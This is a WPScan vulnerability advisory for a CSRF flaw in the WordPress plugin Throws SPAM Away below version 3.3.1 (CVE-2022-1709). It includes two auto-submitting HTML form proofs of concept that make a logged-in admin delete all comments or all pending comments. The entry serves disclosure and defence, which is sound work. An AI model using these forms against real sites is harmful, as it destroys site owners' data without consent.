WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Throws SPAM Away < 3.3.1 - Comment Deletion via CSRF

Description

The plugin does not have CSRF checks in place when deleting comments (either all, spam, or pending), allowing attackers to make a logged in admin delete comments via a CSRF attack

Proof of Concept

To delete all comments
<form id="test" action="https://example.com/wp-admin/admin.php?page=throws-spam-away%2Fthrows_spam_away_comments.php" method="POST">
    <input type="text" name="c_all" value="a">
    <input type="text" name="all" value="a">
    <input type="text" name="Submit" value="Delete all Comments">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/admin.php?page=throws-spam-away%2Fthrows_spam_away_comments.php" method="POST">
    <input type="text" name="c_pend" value="p">
    <input type="text" name="pend" value="p">
    <input type="text" name="Submit" value="Delete all pending Comments">
</form>
<script>
    document.getElementById("test").submit();
</script> 

Affects Plugins

throws-spam-away
Fixed in version 3.3.1

References

CVE
CVE-2022-1709

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website
https://daniel-ruf.de
Verified

Yes

WPVDB ID
ac290535-d9ec-459a-abc3-27cd78eb54fc

Timeline

Publicly Published

2022-05-16 (about 1 years ago)

Added

2022-05-16 (about 1 years ago)

Last Updated

2022-05-16 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us